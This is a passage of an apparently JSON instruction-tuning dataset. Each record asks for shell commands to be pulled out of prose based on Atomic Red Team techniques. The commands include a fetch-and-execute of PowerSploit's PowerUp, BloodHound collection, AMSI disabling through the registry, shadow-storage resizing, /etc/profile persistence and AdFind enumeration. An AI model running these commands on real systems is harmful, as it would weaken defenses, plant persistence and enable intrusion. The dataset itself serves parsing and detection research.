exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves downloading an executable and then running these commands to set it up as a service, with results displayed via stdout: sc.exe create #{service_name} binPath= \"#{binary_path}\" start=#{startup_type}  type=#{service_type}\nsc.exe start #{service_name}\n",
    "output": "{\"command_list\": [\"sc.exe create #{service_name} binPath= \\\"#{binary_path}\\\" start=#{startup_type}  type=#{service_type}\\nsc.exe start #{service_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For copying mail data and adding manipulated content, execute this command sequence: \nmkdir ~/Library/Mail/copy\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\necho \"Manipulated data\" > ~/Library/Mail/copy/manipulated.txt\n",
    "output": "{\"command_list\": [\"mkdir ~/Library/Mail/copy\\ncp -R ~/Library/Mail/* ~/Library/Mail/copy\\necho \\\"Manipulated data\\\" > ~/Library/Mail/copy/manipulated.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The AdFind tool is useful for Active Directory reconnaissance, particularly for enumerating admin accounts when executing: \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -sc admincountdmp #{optional_args}",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" -sc admincountdmp #{optional_args}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable AMSI, adversaries with administrative rights can execute this command, which modifies the registry to redirect the Microsoft Defender COM object to a non-existent DLL: REG ADD HKCU\\Software\\Classes\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\InProcServer32 /ve /t REG_SZ /d C:\\IDontExist.dll /f",
    "output": "{\"command_list\": [\"REG ADD HKCU\\\\Software\\\\Classes\\\\CLSID\\\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\\\InProcServer32 /ve /t REG_SZ /d C:\\\\IDontExist.dll /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform a system halt on FreeBSD, macOS, or Linux, use the following command: shutdown -h #{timeout}\n",
    "output": "{\"command_list\": [\"shutdown -h #{timeout}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To prevent shadow volumes from being recreated, adversaries often resize the shadowstorage volume, which can be done with the following command: vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%",
    "output": "{\"command_list\": [\"vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To maintain persistence, an adversary can append malicious commands to the /etc/profile file, which executes for any user login, by running the following command: echo '#{text_to_append}' >> /etc/profile\n",
    "output": "{\"command_list\": [\"echo '#{text_to_append}' >> /etc/profile\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system time can be displayed by executing this command in PowerShell: Get-Date",
    "output": "{\"command_list\": [\"Get-Date\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory 